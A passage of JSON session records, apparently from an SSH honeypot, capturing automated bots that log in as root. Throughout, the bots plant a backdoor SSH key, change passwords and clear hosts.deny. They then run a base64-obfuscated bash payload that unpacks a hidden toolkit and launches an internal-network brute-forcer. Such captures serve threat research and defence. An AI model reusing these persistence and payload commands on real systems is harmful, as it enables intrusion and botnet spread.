/var/tmp/dota*"},{"seq":36,"at":"2026-08-24T03:17:24.463347+00:00","kind":"output","latency_ms":517,"data":""},{"seq":37,"at":"2026-08-24T03:17:26.510809+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":38,"at":"2026-08-24T03:17:27.489263+00:00","kind":"output","latency_ms":976,"data":"-bash: cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":39,"at":"2026-08-24T03:17:28.181163+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":40,"at":"2026-08-24T03:17:28.863399+00:00","kind":"output","latency_ms":681,"data":"-bash: cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":41,"at":"2026-08-24T03:17:29.553555+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-24T03:17:30.247621+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-24T03:17:30.859575+00:00","kind":"output","latency_ms":612,"data":"-bash: cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":44,"at":"2026-08-24T03:17:31.552221+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":45,"at":"2026-08-24T03:17:32.095025+00:00","kind":"output","latency_ms":539,"data":"-bash: cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":46,"at":"2026-08-24T03:17:32.783687+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":47,"at":"2026-08-24T03:17:33.447253+00:00","kind":"output","latency_ms":662,"data":""},{"seq":48,"at":"2026-08-24T03:17:41.662280+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":49,"at":"2026-08-24T03:17:41.662895+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"Redhat123","method":"password","accepted":true,"tier":"other"}]} {"id":"4de63a5d-4df9-4aff-bcb2-ce12dde2b67a","name":"bashful-crimson-penguin","protocol":"ssh","channel_kind":"exec","src_ip":"190.60.43.27","src_port":53456,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":285,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-24T00:59:17.188346+00:00","ended_at":"2026-08-24T00:59:17.266471+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3445,"events":[{"seq":1,"at":"2026-08-24T00:58:50.851125+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-24T00:58:51.234125+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-24T00:58:54.352368+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-24T00:58:54.355708+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-24T00:58:54.634971+00:00","kind":"input","latency_ms":null,"data":"echo \"root:wW0VrtFthYZ9\"|chpasswd|bash"},{"seq":6,"at":"2026-08-24T00:58:54.914831+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-24T00:58:55.200146+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-24T00:58:55.202807+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-24T00:58:55.482101+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-24T00:58:56.516151+00:00","kind":"output","latency_ms":1034,"data":" total used free shared buff/cache available\nMem: 15888 3721 8210 64 3956 11689"},{"seq":11,"at":"2026-08-24T00:58:56.801263+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-24T00:58:57.378734+00:00","kind":"output","latency_ms":577,"data":"-rwxr-xr-x 1 root root 142K Jan 24 2026 /usr/bin/ls"},{"seq":13,"at":"2026-08-24T00:58:57.665428+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-24T00:58:57.667676+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-24T00:58:57.950211+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-24T00:58:57.951564+00:00","kind":"output","latency_ms":null,"data":" 00:58:57 up 3 days, 21:49, 0 user, load average: 0.07, 0.06, 0.06\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-24T00:58:58.232695+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-24T00:58:58.234125+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-24T00:58:58.517268+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-24T00:58:58.519129+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-24T00:58:59.215923+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-24T00:58:59.217455+00:00","kind":"output","latency_ms":null,"data":"top - 00:58:59 up 3 days, 21:49, 0 user, load average: 0.07, 0.06, 0.06\nTasks: 112 total, 1 running, 111 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8102 free, 7785 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-24T00:58:59.500337+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-24T00:58:59.502055+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-24T00:58:59.781679+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-24T00:58:59.783195+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-24T00:59:00.065879+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-24T00:59:00.067435+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-24T00:59:00.349252+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-24T00:59:01.105052+00:00","kind":"output","latency_ms":756,"data":"Model name: AMD EPYC 7713 64-Core Processor"},{"seq":31,"at":"2026-08-24T00:59:01.389227+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-24T00:59:01.997526+00:00","kind":"output","latency_ms":609,"data":"24G"},{"seq":33,"at":"2026-08-24T00:59:03.379406+00:00","kind":"input","latency_ms":null,"data":"echo \"root 1qazxsW@\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-24T00:59:03.658433+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-24T00:59:04.087528+00:00","kind":"output","latency_ms":427,"data":""},{"seq":36,"at":"2026-08-24T00:59:04.700746+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":37,"at":"2026-08-24T00:59:05.420444+00:00","kind":"output","latency_ms":719,"data":"root 1qazxsW@"},{"seq":38,"at":"2026-08-24T00:59:05.705927+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-24T00:59:06.154931+00:00","kind":"output","latency_ms":450,"data":"root 1qazxsW@"},{"seq":40,"at":"2026-08-24T00:59:06.441889+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-24T00:59:06.729967+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-24T00:59:07.338444+00:00","kind":"output","latency_ms":607,"data":"root 1qazxsW@"},{"seq":43,"at":"2026-08-24T00:59:07.627010+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-24T00:59:08.082167+00:00","kind":"output","latency_ms":459,"data":"root 1qazxsW@"},{"seq":45,"at":"2026-08-24T00:59:08.467143+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-24T00:59:09.106293+00:00","kind":"output","latency_ms":637,"data":""},{"seq":47,"at":"2026-08-24T00:59:17.190908+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-24T00:59:17.193707+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"1qazxsW@","method":"password","accepted":true,"tier":"other"}]} {"id":"ab1b937d-a056-4f39-9c0c-f216b9b615b6","name":"nameless-murky-dormouse","protocol":"ssh","channel_kind":"exec","src_ip":"163.7.3.26","src_port":58822,"username":"root","client_version":"SSH-2.0-libssh_0.12.0","auth_attempts":1,"automation":"bot","think_ms":763,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-23T21:19:15.453482+00:00","ended_at":"2026-08-23T21:19:15.691786+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3571,"events":[{"seq":1,"at":"2026-08-23T21:18:25.900096+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-23T21:18:26.673575+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-23T21:18:37.581072+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-23T21:18:37.584092+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-23T21:18:38.343456+00:00","kind":"input","latency_ms":null,"data":"echo \"root:iVehNGLDdW88\"|chpasswd|bash"},{"seq":6,"at":"2026-08-23T21:18:39.058134+00:00","kind":"output","latency_ms":715,"data":""},{"seq":7,"at":"2026-08-23T21:18:39.103217+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":8,"at":"2026-08-23T21:18:39.865305+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-23T21:18:39.868331+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-23T21:18:40.632141+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-23T21:18:41.161701+00:00","kind":"output","latency_ms":535,"data":"15888 3436 12452 203 1368 10976"},{"seq":12,"at":"2026-08-23T21:18:41.929605+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-23T21:18:42.603239+00:00","kind":"output","latency_ms":674,"data":"-rwxr-xr-x 1 root root 148K Aug 20 03:10 /usr/bin/ls"},{"seq":14,"at":"2026-08-23T21:18:43.374232+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-23T21:18:43.378895+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-23T21:18:44.132241+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-23T21:18:44.136099+00:00","kind":"output","latency_ms":null,"data":" 21:18:44 up 3 days, 18:08, 0 user, load average: 0.19, 0.16, 0.2\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-23T21:18:44.897414+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-23T21:18:44.900465+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-23T21:18:45.664902+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-23T21:18:45.676747+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-23T21:18:46.424113+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-23T21:18:46.429084+00:00","kind":"output","latency_ms":null,"data":"top - 21:18:46 up 3 days, 18:08, 0 user, load average: 0.19, 0.16, 0.2\nTasks: 115 total, 1 running, 114 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9215 free, 6672 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-23T21:18:47.182202+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-23T21:18:47.186320+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-23T21:18:47.948667+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-23T21:18:47.956420+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-23T21:18:48.705566+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-23T21:18:48.707530+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-23T21:18:49.469742+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-23T21:18:50.227392+00:00","kind":"output","latency_ms":757,"data":"Model name: AMD EPYC 7713 64-Core Processor\n\u09ae\u09a1\u09c7\u09b2 \u09a8\u09be\u09ae: AMD EPYC 7713 64-Core Processor"},{"seq":32,"at":"2026-08-23T21:18:50.990355+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-23T21:18:51.587118+00:00","kind":"output","latency_ms":596,"data":"24G"},{"seq":34,"at":"2026-08-23T21:18:57.014938+00:00","kind":"input","latency_ms":null,"data":"echo \"root Root123456!\" > /tmp/up.txt"},{"seq":35,"at":"2026-08-23T21:18:57.776670+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":36,"at":"2026-08-23T21:18:58.440561+00:00","kind":"output","latency_ms":662,"data":""},{"seq":37,"at":"2026-08-23T21:19:00.461787+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":38,"at":"2026-08-23T21:19:00.941455+00:00","kind":"output","latency_ms":480,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":39,"at":"2026-08-23T21:19:01.710595+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":40,"at":"2026-08-23T21:19:02.491347+00:00","kind":"output","latency_ms":784,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":41,"at":"2026-08-23T21:19:03.277038+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-23T21:19:04.040439+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-23T21:19:04.517353+00:00","kind":"output","latency_ms":478,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":44,"at":"2026-08-23T21:19:05.281630+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":45,"at":"2026-08-23T21:19:05.872521+00:00","kind":"output","latency_ms":591,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":46,"at":"2026-08-23T21:19:06.635639+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":47,"at":"2026-08-23T21:19:07.110795+00:00","kind":"output","latency_ms":475,"data":""},{"seq":48,"at":"2026-08-23T21:19:15.456695+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":49,"at":"2026-08-23T21:19:15.457865+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"Root123456!","method":"password","accepted":true,"tier":"other"}]} {"id":"ca7cba1b-8799-4b4f-89e4-bcc854927458","name":"brazen-creaky-shelduck","protocol":"ssh","channel_kind":"exec","src_ip":"92.205.57.72","src_port":58506,"username":"ydy","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":326,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-23T20:59:27.183189+00:00","ended_at":"2026-08-23T20:59:27.276499+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3598,"events":[{"seq":1,"at":"2026-08-23T20:59:01.119075+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-23T20:59:01.443071+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-23T20:59:05.541572+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-23T20:59:05.545082+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-23T20:59:05.870052+00:00","kind":"input","latency_ms":null,"data":"echo -e \"ydy\\nBFcGpitbwUQo\\nBFcGpitbwUQo\"|passwd|bash"},{"seq":6,"at":"2026-08-23T20:59:06.195083+00:00","kind":"input","latency_ms":null,"data":"echo \"ydy\\nBFcGpitbwUQo\\nBFcGpitbwUQo\\n\"|passwd"},{"seq":7,"at":"2026-08-23T20:59:06.524156+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-23T20:59:06.526476+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-23T20:59:06.848647+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-23T20:59:07.439678+00:00","kind":"output","latency_ms":592,"data":" total used free shared buff/cache available\nMem: 15888 2144 9821 18 3922 13222"},{"seq":11,"at":"2026-08-23T20:59:07.766388+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-23T20:59:08.309259+00:00","kind":"output","latency_ms":543,"data":"-rwxr-xr-x 1 root root 14K Apr 11 2026 /usr/bin/ls"},{"seq":13,"at":"2026-08-23T20:59:08.639327+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-23T20:59:08.643059+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-23T20:59:08.964072+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-23T20:59:08.966244+00:00","kind":"output","latency_ms":null,"data":" 20:59:08 up 3 days, 17:49, 0 user, load average: 0.31, 0.26, 0.22\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-23T20:59:09.291060+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-23T20:59:09.292320+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-23T20:59:09.617180+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-23T20:59:09.619252+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-23T20:59:09.948083+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-23T20:59:09.950433+00:00","kind":"output","latency_ms":null,"data":"top - 20:59:09 up 3 days, 17:49, 0 user, load average: 0.31, 0.26, 0.22\nTasks: 107 total, 1 running, 106 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6831 free, 9056 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-23T20:59:10.272309+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-23T20:59:10.274055+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-23T20:59:10.598702+00:00","kind":"input","latency_ms":null,"data":"uname 